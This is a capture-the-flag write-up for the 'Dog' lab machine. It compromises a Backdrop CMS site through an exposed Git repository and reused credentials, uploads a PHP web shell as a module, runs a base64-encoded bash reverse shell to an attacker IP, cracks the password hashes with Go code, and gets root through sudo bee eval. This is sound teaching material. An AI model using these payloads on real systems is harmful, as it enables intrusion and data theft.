Dog
9 minutes to read

bee
as root
using sudo
, which will let us escalate privileges by running arbitrary PHP code- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.58
- Release: 08 / 03 / 2025
Port scanning
# Nmap 7.95 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.58 -p 22,80
Nmap scan report for 10.10.11.58
Host is up (0.024s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_ 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-git:
| 10.10.11.58:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro...
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 12.42 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.58
, we will see the following website:
We also have a login form, but we don’t have credentials yet:
There is a user called dogBackDropSystem
, because it is the author of some posts. We can also verify that this user exists because this Backdrop CMS allows user enumeration:
There is also an “About” section where we can see the domain dog.htb
:
With this, we can try to enumerate subdomains, but there are doesn’t seem to be any subdomains.
On the other hand, we can see a robots.txt
file:
Here we have some interesting routes to check, and we find that directory listing is enabled:
We could use wget -r
or dirListDump
to dump all these files for later analysis.
Git enumeration
However, the nmap
output showed that we have an exposed Git repository in http://10.10.11.58/.git/
, which is way better because we can download plain PHP files. For this, we can use git-dumper
:
$ git-dumper http://10.10.11.58 git
[-] Testing http://10.10.11.58/.git/HEAD [200]
[-] Testing http://10.10.11.58/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://10.10.11.58/.gitignore [404]
[-] http://10.10.11.58/.gitignore responded with status code 404
[-] Fetching http://10.10.11.58/.git/ [200]
...
[-] Fetching http://10.10.11.58/.git/objects/ff/e2bdb70e3508a43577a1e63d8f3e0eb1954bed [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Actualizadas 2873 rutas desde el Γndice
$ tree -L 2 git
git
βββ LICENSE.txt
βββ README.md
βββ core
βΒ Β βββ authorize.php
βΒ Β βββ cron.php
βΒ Β βββ includes
βΒ Β βββ install.php
βΒ Β βββ layouts
βΒ Β βββ misc
βΒ Β βββ modules
βΒ Β βββ profiles
βΒ Β βββ scripts
βΒ Β βββ themes
βΒ Β βββ update.php
βββ files
βΒ Β βββ README.md
βΒ Β βββ config_83dddd18e1ec67fd8ff5bba2453c7fb3
βΒ Β βββ css
βΒ Β βββ field
βΒ Β βββ js
βΒ Β βββ styles
βββ index.php
βββ layouts
βΒ Β βββ README.md
βββ robots.txt
βββ settings.php
βββ sites
βΒ Β βββ README.md
βΒ Β βββ sites.php
βββ themes
βββ README.md
18 directories, 14 files
A good file to check is settings.php
because maybe we find plaintext passwords for database connections. Indeed, we find this MySQL connection URI:
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
We can try to use this password (BackDropJ2024DS2024
) with user dogBackDropSystem
, but it doesn’t work…
If we search for email addresses of the form @dog.htb
, we will find more information:
$ grep -ir @dog.htb git
git/files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json: "tiffany@dog.htb"
git/.git/logs/HEAD:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000 commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
git/.git/logs/refs/heads/master:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000 commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
And it looks that we have another username: tiffany
. And the password works! Actually, this file is also available to download from the server:
Foothold
So, we are now as tiffany
, which is an administrator user of the CMS:
We can find that we are dealing with Backdrop CMS version 1.27.1:
There are public exploits to get Remote Code Execution (RCE) once we are authenticated as an administrator. They abuse the fact that we can manually install new modules to upload a PHP web shell using a compressed file.
We can try to do it manually going to “Functionality” > “Install new modules”:
Here we see that Zip files won’t work, so we need to use another compression method such as .tar.gz
. We will need to use the following files:
shell.info
type = module
name = Web shell
description = PHP web shell
package = Layouts
tags[] = Blocks
tags[] = Site Architecture
version = BACKDROP_VERSION
backdrop = 1.x
configure = admin/structure/block
shell.php
:
<?php system($_GET['cmd']) ?>
Now, we compress the two files and upload them as a new module:
$ tar cfvz shell.tar.gz shell/shell.info shell/shell.php
a shell/shell.info
a shell/shell.php
With this, we will have a web shell:
$ curl '10.10.11.58/modules/shell/shell.php?cmd=whoami'
www-data
We need to be fast because the web shell is removed periodically, so maybe it is recommended to automate the process or use a public exploit such as Backdrop-CMS-Version-1.27.1-Authenticated-Remote-Code-Execution.
Anyways, let’s get a reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.16.15/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTUvNDQ0NCAwPiYx
$ curl 10.10.11.58/modules/shell/shell.php -G --data-urlencode 'cmd=echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTUvNDQ0NCAwPiYx | base64 -d | bash'
$ nc -nlvp 4444
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.58:41436.
bash: cannot set terminal process group (909): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dog:/var/www/html/modules/shell$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@dog:/var/www/html/modules/shell$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@dog:/var/www/html/modules/shell$ export TERM=xterm SHELL=/bin/bash
www-data@dog:/var/www/html/modules/shell$ stty rows 53 cols 171
System enumeration
There are two system users:
www-data@dog:/var/www/html/modules/shell$ ls /home
jobert johncusack
We would like to access as one of these users because we will have more privileges. For this, we will need to find credentials.
Actually, do you remember the MySQL database? Yes, we can take a look at the users
table to find some password hashes:
www-data@dog:/var/www/html/modules/shell$ mysql --user=root --password=BackDropJ2024DS2024 --database=backdrop
mysql: [Warning] Using a password on the command line interface can be insecure.
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 260656
Server version: 8.0.41-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2025, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> describe users;
+------------------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+------------------+--------------+------+-----+---------+-------+
| uid | int unsigned | NO | PRI | 0 | |
| name | varchar(60) | NO | UNI | | |
| pass | varchar(128) | NO | | | |
| mail | varchar(254) | YES | MUL | | |
| signature | varchar(255) | NO | | | |
| signature_format | varchar(255) | YES | | NULL | |
| created | int | NO | MUL | 0 | |
| changed | int | NO | MUL | 0 | |
| access | int | NO | MUL | 0 | |
| login | int | NO | | 0 | |
| status | tinyint | NO | | 0 | |
| timezone | varchar(32) | YES | | NULL | |
| language | varchar(12) | NO | | | |
| picture | int | NO | MUL | 0 | |
| init | varchar(254) | YES | | | |
| data | longblob | YES | | NULL | |
+------------------+--------------+------+-----+---------+-------+
16 rows in set (0.01 sec)
mysql> select name, pass, mail from users;
+-------------------+---------------------------------------------------------+----------------------------+
| name | pass | mail |
+-------------------+---------------------------------------------------------+----------------------------+
| | | |
| jPAdminB | $S$E7dig1GTaGJnzgAXAtOoPuaTjJ05fo8fH9USc6vO87T./ffdEr/. | jPAdminB@dog.htb |
| jobert | $S$E/F9mVPgX4.dGDeDuKxPdXEONCzSvGpjxUeMALZ2IjBrve9Rcoz1 | jobert@dog.htb |
| dogBackDropSystem | $S$EfD1gJoRtn8I5TlqPTuTfHRBFQWL3x6vC5D3Ew9iU4RECrNuPPdD | dogBackDroopSystem@dog.htb |
| john | $S$EYniSfxXt8z3gJ7pfhP5iIncFfCKz8EIkjUD66n/OTdQBFklAji. | john@dog.htb |
| morris | $S$E8OFpwBUqy/xCmMXMqFp3vyz1dJBifxgwNRMKktogL7VVk7yuulS | morris@dog.htb |
| axel | $S$E/DHqfjBWPDLnkOP5auHhHDxF4U.sAJWiODjaumzxQYME6jeo9qV | axel@dog.htb |
| rosa | $S$EsV26QVPbF.s0UndNPeNCxYEP/0z2O.2eLUNdKW/xYhg2.lsEcDT | rosa@dog.htb |
| tiffany | $S$EEAGFzd8HSQ/IzwpqI79aJgRvqZnH4JSKLv2C83wUphw0nuoTY8v | tiffany@dog.htb |
+-------------------+---------------------------------------------------------+----------------------------+
9 rows in set (0.00 sec)
This looks promising, because we have jobert
and john
(probably johncusack
). So, let’s analyze how the hashing algorithm work.
Everything we need to know is in core/includes/password.inc
. In brief, it uses a random 8-byte salt prepended to the plaintext password and SHA512. Then, it performs 65536 iterated SHA512 hashes. Finally, it encodes the hash as Base64, but using the crypt version, which is different from the traditional one. Finally, it adds the hashing information and takes the first 55 characters.
After analyzing this, I wrote a Go program to crack these hashes. I’ll only show the relevant functions:
const BASE64_ALPHABET = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
func b64e(input []byte) string {
count := len(input)
for len(input)%3 != 0 {
input = append(input, byte(0))
}
output := make([]byte, len(input)*4/3)
for i := 0; i < count; i += 3 {
value := int(input[i+2])<<16 | int(input[i+1])<<8 | int(input[i])
output[i*4/3] = BASE64_ALPHABET[value&0x3f]
output[i*4/3+1] = BASE64_ALPHABET[(value>>6)&0x3f]
output[i*4/3+2] = BASE64_ALPHABET[(value>>12)&0x3f]
output[i*4/3+3] = BASE64_ALPHABET[(value>>18)&0x3f]
}
return string(output[:(count*8+5)/6])
}
func doHash(password []byte, setting string) string {
count := 1 << strings.IndexByte(BASE64_ALPHABET, setting[3])
salt := []byte(setting[4 : 4+8])
hash := sha512.Sum512(append(salt, password...))
h := append(hash[:], password...)
for range count {
copy(h, hash[:])
hash = sha512.Sum512(h)
}
return (setting[:12] + b64e(hash[:]))[:55]
}
Nevertheless, this custom hash cracker is useless, because we can reuse password BackDropJ2024DS2024
for johncusack
, which makes no sense in my opinion:
www-data@dog:/var/www/html/modules/shell$ cd /
www-data@dog:/$ su johncusack
Password:
johncusack@dog:/$ cd
johncusack@dog:~$ cat user.txt
fc1cd4fefe07082431b7ef6c74f0914c
Privilege escalation
This user is allowed to use bee
as root
using sudo
:
johncusack@dog:~$ sudo -l
[sudo] password for johncusack:
Matching Defaults entries for johncusack on dog:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User johncusack may run the following commands on dog:
(ALL : ALL) /usr/local/bin/bee
Let’s have a look at this:
johncusack@dog:~$ bee
π Bee
Usage: bee [global-options] <command> [options] [arguments]
Global Options:
--root
Specify the root directory of the Backdrop installation to use. If not set, will try to find the Backdrop installation automatically based on the current directory.
--site
Specify the directory name or URL of the Backdrop site to use (as defined in 'sites.php'). If not set, will try to find the Backdrop site automatically based on the current directory.
--base-url
Specify the base URL of the Backdrop site, such as https://example.com. May be useful with commands that output URLs to pages on the site.
--yes, -y
Answer 'yes' to questions without prompting.
--debug, -d
Enables 'debug' mode, in which 'debug' and 'log' type messages will be displayed (in addition to all other messages).
Commands:
...
ADVANCED
db-query
dbq
Execute a query using db_query().
eval
ev, php-eval
Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.
php-script
scr
Execute an arbitrary PHP file after bootstrapping Backdrop.
sql
sqlc, sql-cli, db-cli
Open an SQL command-line interface using Backdrop's database credentials.
It looks that we can actually execute arbitrary PHP code with eval
:
johncusack@dog:~$ sudo bee --root=/var/www/html eval 'echo "123\n"'
123
So we can simply get a shell as root
:
johncusack@dog:~$ sudo bee --root=/var/www/html eval 'system("bash")'
root@dog:/var/www/html# cat /root/root.txt
311910ced1bcaaff1a8ae81ca12abbac